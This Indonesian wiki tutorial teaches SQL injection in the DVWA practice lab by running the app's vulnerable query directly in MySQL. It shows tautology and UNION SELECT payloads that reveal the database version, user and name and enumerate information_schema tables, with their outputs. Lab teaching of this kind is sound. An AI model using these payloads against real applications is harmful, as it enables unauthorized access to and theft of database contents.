DVWA: perintah SQL di server DVWA

From OnnoWiki
Revision as of 17:39, 11 March 2017 by Onnowpurbo (talk | contribs)
Jump to navigation Jump to search

Pada saat kita berlatih SQL Injection menggunakan DVWA, akan lebih mudah untuk mengerti jika kita mengerti perintah SQL yang di berikan. Langkah untuk mempelajari ini tidak terlalu sulit

  • Login ke mesin server yang kita instalasi DVWA
  • menjadi super user, menggunakan perintah
sudo su


  • Masuk ke database MySQL, jika password root mysql adalah 123456, maka kita dapat menggunakan perintah
mysql -u root -p123456


Jika berhasil dengan baik maka akan keluar

mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 4
Server version: 5.7.17-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
  • Untuk berlatih kita perlu menggunakan database dvwa, ketik perintah
use dvwa

Kita sudah siap untuk belajar / memlihat apa yang terjadi jika kita latihan SQL Injection. Perintah yang diberikan di menu SQL Injection DVWA sebetulnya adalah

SELECT first_name, last_name FROM users WHERE user_ID = '$id';

Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main dengan MySQL secara manual tanpa melakukan injection.

Masukan perintah

SELECT first_name, last_name FROM users WHERE user_ID = '1';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
+------------+-----------+
1 row in set (0,00 sec)


Masukan perintah

SELECT first_name, last_name FROM users WHERE user_ID = '2';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| Gordon     | Brown     |
+------------+-----------+
1 row in set (0,00 sec)


Masukan perintah, untuk mencek apakah bisa di inject perintah lain

SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| Gordon     | Brown     |
| Hack       | Me        |
| Pablo      | Picasso   |
| Bob        | Smith     |
+------------+-----------+
5 rows in set (0,00 sec)


Masukan perintah, untuk mencek apakah bisa di inject perintah lain

SELECT first_name, last_name FROM users WHERE user_ID = '1' or '2'='2';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| Gordon     | Brown     |
| Hack       | Me        |
| Pablo      | Picasso   |
| Bob        | Smith     |
+------------+-----------+
5 rows in set (0,01 sec)


Masukan perintah

SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #;

Keluar

+------------+-------------------------+
| first_name | last_name               |
+------------+-------------------------+
| admin      | admin                   |
| Gordon     | Brown                   |
| Hack       | Me                      |
| Pablo      | Picasso                 |
| Bob        | Smith                   |
| NULL       | 5.7.17-0ubuntu0.16.04.1 |
+------------+-------------------------+
6 rows in set (0,00 sec)

Akan keluar versi MySQL yang digunakan adalah 5.7.17-0ubuntu0.16.04.1


Masukan perintah,

SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, user() #';

Keluar

+------------+----------------+
| first_name | last_name      |
+------------+----------------+
| admin      | admin          |
| Gordon     | Brown          |
| Hack       | Me             |
| Pablo      | Picasso        |
| Bob        | Smith          |
| NULL       | root@localhost |
+------------+----------------+
6 rows in set (0,00 sec)

akan keluar user yang digunakan untuk mengakses database, yaitu root@localhost


Masukan perintah

SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, database() #';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| Gordon     | Brown     |
| Hack       | Me        |
| Pablo      | Picasso   |
| Bob        | Smith     |
| NULL       | dvwa      |
+------------+-----------+
6 rows in set (0,00 sec)

akan keluar nama database yang digunakan, yaitu dvwa


Masukan perintah

SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables #';

Keluar

+------------+------------------------------------------------------+
| first_name | last_name                                            |
+------------+------------------------------------------------------+
| NULL       | CHARACTER_SETS                                       |
| NULL       | COLLATIONS                                           |
| NULL       | COLLATION_CHARACTER_SET_APPLICABILITY                |
| NULL       | COLUMNS                                              |
..
..
..
| NULL       | x$wait_classes_global_by_avg_latency                 |
| NULL       | x$wait_classes_global_by_latency                     |
| NULL       | x$waits_by_host_by_latency                           |
| NULL       | x$waits_by_user_by_latency                           |
| NULL       | x$waits_global_by_latency                            |
+------------+------------------------------------------------------+
275 rows in set (0,01 sec)

Dimana

  • CHARACTER_SETS
  • COLLATIONS
  • COLLATION_CHARACTER_SET_APPLICABILITY

adalah INFORMATION SCHEMA table name. INFORMATION_SCHEMA adalah database informasi, yang menyimpan semua informasi tentang database yang di maintain oleh MySQL.

Untuk mencek apakah ada tabel user di salah satu database, masukan perintah,

SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#';

Akan keluar

+------------+-----------------------------------+
| first_name | last_name                         |
+------------+-----------------------------------+
| NULL       | USER_PRIVILEGES                   |
| NULL       | users                             |
| NULL       | user                              |
| NULL       | user_variables_by_thread          |
| NULL       | user_summary                      |
| NULL       | user_summary_by_file_io           |
| NULL       | user_summary_by_file_io_type      |
| NULL       | user_summary_by_stages            |
| NULL       | user_summary_by_statement_latency |
| NULL       | user_summary_by_statement_type    |
+------------+-----------------------------------+
10 rows in set (0,00 sec)